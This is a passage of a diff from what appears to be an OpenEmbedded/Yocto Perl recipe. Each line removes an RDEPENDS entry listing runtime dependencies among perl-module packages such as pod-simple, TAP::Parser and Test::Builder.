-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-pod-text-termcap"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-warnings"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-if"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-integer"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-pod-simple-transcode"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-pod-simple-methody"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-text-wrap"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-debug += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-debug += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-debug += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-dumpastext += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-dumpastext += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-dumpasxml += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-dumpasxml += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-dumpasxml += "perl-module-text-wrap"
-RDEPENDS_perl-module-pod-simple-justpod += "perl-module-pod-simple-methody"
-RDEPENDS_perl-module-pod-simple-justpod += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-justpod += "perl-module-warnings"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-overload"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-pod-simple-blackbox"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-methody += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-methody += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-methody += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple += "perl-module-integer"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-escapes"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-simple-blackbox"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-simple-linksection"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-simple-tiedoutfh"
-RDEPENDS_perl-module-pod-simple += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-progress += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserendtoken += "perl-module-pod-simple-pullparsertoken"
-RDEPENDS_perl-module-pod-simple-pullparserendtoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserendtoken += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserendtoken"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserstarttoken"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparsertexttoken"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserstarttoken += "perl-module-pod-simple-pullparsertoken"
-RDEPENDS_perl-module-pod-simple-pullparserstarttoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserstarttoken += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-pullparsertexttoken += "perl-module-pod-simple-pullparsertoken"
-RDEPENDS_perl-module-pod-simple-pullparsertexttoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparsertexttoken += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-pullparsertoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-if"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-integer"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-pod-simple-pullparser"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-config"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-cwd"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-file-basename"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-simpletree += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-simpletree += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-simpletree += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-textcontent += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-textcontent += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-textcontent += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-pod-simple-methody"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-text-wrap"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-tiedoutfh += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-tiedoutfh += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-transcodedumb += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-transcodedumb += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-transcode += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-transcode += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-encode"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-xmloutstream += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-xmloutstream += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-xmloutstream += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-color += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-text-color += "perl-module-strict"
-RDEPENDS_perl-module-pod-text-color += "perl-module-term-ansicolor"
-RDEPENDS_perl-module-pod-text-color += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-color += "perl-module-warnings"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-strict"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-warnings"
-RDEPENDS_perl-module-pod-text += "perl-module-encode"
-RDEPENDS_perl-module-pod-text += "perl-module-exporter"
-RDEPENDS_perl-module-pod-text += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-text += "perl-module-strict"
-RDEPENDS_perl-module-pod-text += "perl-module-vars"
-RDEPENDS_perl-module-pod-text += "perl-module-warnings"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-posix"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-strict"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-term-cap"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-warnings"
-RDEPENDS_perl-module-pod-usage += "perl-module-config"
-RDEPENDS_perl-module-pod-usage += "perl-module-exporter"
-RDEPENDS_perl-module-pod-usage += "perl-module-strict"
-RDEPENDS_perl-module-pod-usage += "perl-module-vars"
-RDEPENDS_perl-module-posix += "perl-module-exporter"
-RDEPENDS_perl-module-posix += "perl-module-fcntl"
-RDEPENDS_perl-module-posix += "perl-module-strict"
-RDEPENDS_perl-module-posix += "perl-module-tie-hash"
-RDEPENDS_perl-module-posix += "perl-module-warnings"
-RDEPENDS_perl-module-posix += "perl-module-xsloader"
-RDEPENDS_perl-module-re += "perl-module-exporter"
-RDEPENDS_perl-module-re += "perl-module-strict"
-RDEPENDS_perl-module-re += "perl-module-term-cap"
-RDEPENDS_perl-module-re += "perl-module-warnings"
-RDEPENDS_perl-module-re += "perl-module-xsloader"
-RDEPENDS_perl-module-safe += "perl-module-b"
-RDEPENDS_perl-module-safe += "perl-module-opcode"
-RDEPENDS_perl-module-safe += "perl-module-strict"
-RDEPENDS_perl-module-safe += "perl-module-utf8"
-RDEPENDS_perl-module-sdbm-file += "perl-module-exporter"
-RDEPENDS_perl-module-sdbm-file += "perl-module-strict"
-RDEPENDS_perl-module-sdbm-file += "perl-module-tie-hash"
-RDEPENDS_perl-module-sdbm-file += "perl-module-warnings"
-RDEPENDS_perl-module-sdbm-file += "perl-module-xsloader"
-RDEPENDS_perl-module-search-dict += "perl-module-exporter"
-RDEPENDS_perl-module-search-dict += "perl-module-feature"
-RDEPENDS_perl-module-search-dict += "perl-module-strict"
-RDEPENDS_perl-module-selfloader += "perl-module-exporter"
-RDEPENDS_perl-module-selfloader += "perl-module-io-handle"
-RDEPENDS_perl-module-selfloader += "perl-module-strict"
-RDEPENDS_perl-module-socket += "perl-module-exporter"
-RDEPENDS_perl-module-socket += "perl-module-strict"
-RDEPENDS_perl-module-socket += "perl-module-warnings-register"
-RDEPENDS_perl-module-socket += "perl-module-xsloader"
-RDEPENDS_perl-module-sort += "perl-module-strict"
-RDEPENDS_perl-module-storable += "perl-module-exporter"
-RDEPENDS_perl-module-storable += "perl-module-io-file"
-RDEPENDS_perl-module-sub-util += "perl-module-exporter"
-RDEPENDS_perl-module-sub-util += "perl-module-list-util"
-RDEPENDS_perl-module-sub-util += "perl-module-strict"
-RDEPENDS_perl-module-sub-util += "perl-module-warnings"
-RDEPENDS_perl-module-sys-hostname += "perl-module-exporter"
-RDEPENDS_perl-module-sys-hostname += "perl-module-posix"
-RDEPENDS_perl-module-sys-hostname += "perl-module-strict"
-RDEPENDS_perl-module-sys-hostname += "perl-module-warnings"
-RDEPENDS_perl-module-sys-hostname += "perl-module-xsloader"
-RDEPENDS_perl-module-sys-syslog += "perl-module-config"
-RDEPENDS_perl-module-sys-syslog += "perl-module-constant"
-RDEPENDS_perl-module-sys-syslog += "perl-module-dynaloader"
-RDEPENDS_perl-module-sys-syslog += "perl-module-exporter"
-RDEPENDS_perl-module-sys-syslog += "perl-module-fcntl"
-RDEPENDS_perl-module-sys-syslog += "perl-module-file-basename"
-RDEPENDS_perl-module-sys-syslog += "perl-module-posix"
-RDEPENDS_perl-module-sys-syslog += "perl-module-socket"
-RDEPENDS_perl-module-sys-syslog += "perl-module-strict"
-RDEPENDS_perl-module-sys-syslog += "perl-module-sys-hostname"
-RDEPENDS_perl-module-sys-syslog += "perl-module-vars"
-RDEPENDS_perl-module-sys-syslog += "perl-module-warnings"
-RDEPENDS_perl-module-sys-syslog += "perl-module-warnings-register"
-RDEPENDS_perl-module-sys-syslog += "perl-module-xsloader"
-RDEPENDS_perl-module-tap-base += "perl-module-base"
-RDEPENDS_perl-module-tap-base += "perl-module-constant"
-RDEPENDS_perl-module-tap-base += "perl-module-strict"
-RDEPENDS_perl-module-tap-base += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-posix"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-tap-formatter-color"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-constant"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-constant"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-file-path"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-posix"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-console-session += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-console-session += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-console-session += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-posix"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-tap-formatter-file-session"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-file-session += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-file-session += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-file-session += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-session += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-session += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-session += "perl-module-warnings"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-constant"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-strict"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-text-parsewords"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-warnings"
-RDEPENDS_perl-module-tap-harness += "perl-module-base"
-RDEPENDS_perl-module-tap-harness += "perl-module-file-path"
-RDEPENDS_perl-module-tap-harness += "perl-module-io-handle"
-RDEPENDS_perl-module-tap-harness += "perl-module-strict"
-RDEPENDS_perl-module-tap-harness += "perl-module-warnings"
-RDEPENDS_perl-module-tap-object += "perl-module-strict"
-RDEPENDS_perl-module-tap-object += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-benchmark"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-tap-parser-resultfactory"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-tap-parser-yamlish-reader"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-file-basename"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-config"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-io-handle"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-io-select"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser += "perl-module-base"
-RDEPENDS_perl-module-tap-parser += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-grammar"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-iterator"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-result"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-resultfactory"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-source"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-executable"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-file"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-handle"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-perl"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-rawtap"
-RDEPENDS_perl-module-tap-parser += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-bailout"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-comment"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-plan"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-pragma"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-test"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-unknown"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-version"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-yaml"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-scheduler-job += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-scheduler-job += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-job"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-spinner"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-scheduler-spinner += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-scheduler-spinner += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iterator-process"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iterator-stream"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iterator-stream"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-tap-parser-iterator"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-config"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iterator-process"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-text-parsewords"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iterator-array"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-file-basename"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-warnings"
-RDEPENDS_perl-module-term-ansicolor += "perl-module-exporter"
-RDEPENDS_perl-module-term-ansicolor += "perl-module-strict"
-RDEPENDS_perl-module-term-ansicolor += "perl-module-warnings"
-RDEPENDS_perl-module-term-cap += "perl-module-strict"
-RDEPENDS_perl-module-term-cap += "perl-module-vars"
-RDEPENDS_perl-module-term-complete += "perl-module-exporter"
-RDEPENDS_perl-module-term-complete += "perl-module-strict"
-RDEPENDS_perl-module-term-readline += "perl-module-strict"
-RDEPENDS_perl-module-term-readline += "perl-module-term-cap"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-warnings"
-RDEPENDS_perl-module-test-builder-module += "perl-module-exporter"
-RDEPENDS_perl-module-test-builder-module += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-module += "perl-module-test-builder"
-RDEPENDS_perl-module-test-builder += "perl-module-data-dumper"
-RDEPENDS_perl-module-test-builder += "perl-module-overload"
-RDEPENDS_perl-module-test-builder += "perl-module-strict"
-RDEPENDS_perl-module-test-builder += "perl-module-test-builder-formatter"
-RDEPENDS_perl-module-test-builder += "perl-module-test-builder-tododiag"
-RDEPENDS_perl-module-test-builder += "perl-module-warnings"
-RDEPENDS_perl-module-test-builder-tester-color += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-tester-color += "perl-module-test-builder-tester"
-RDEPENDS_perl-module-test-builder-tester += "perl-module-exporter"
-RDEPENDS_perl-module-test-builder-tester += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-tester += "perl-module-test-builder"
-RDEPENDS_perl-module-test-builder-tododiag += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-tododiag += "perl-module-warnings"
-RDEPENDS_perl-module-test-harness += "perl-module-base"
-RDEPENDS_perl-module-test-harness += "perl-module-config"
-RDEPENDS_perl-module-test-harness += "perl-module-constant"
-RDEPENDS_perl-module-test-harness += "perl-module-strict"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-harness"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-parser-aggregator"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-parser-source"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-parser-sourcehandler-perl"
-RDEPENDS_perl-module-test-harness += "perl-module-text-parsewords"
-RDEPENDS_perl-module-test-harness += "perl-module-warnings"
-RDEPENDS_perl-module-test-more += "perl-module-strict"
-RDEPENDS_perl-module-test-more += "perl-module-test-builder-module"
-RDEPENDS_perl-module-test-more += "perl-module-warnings"
-RDEPENDS_perl-module-test += "perl-module-exporter"
-RDEPENDS_perl-module-test += "perl-module-file-temp"
-RDEPENDS_perl-module-test += "perl-module-strict"
-RDEPENDS_perl-module-test-simple += "perl-module-strict"
-RDEPENDS_perl-module-test-simple += "perl-module-test-builder-module"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-config"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-strict"
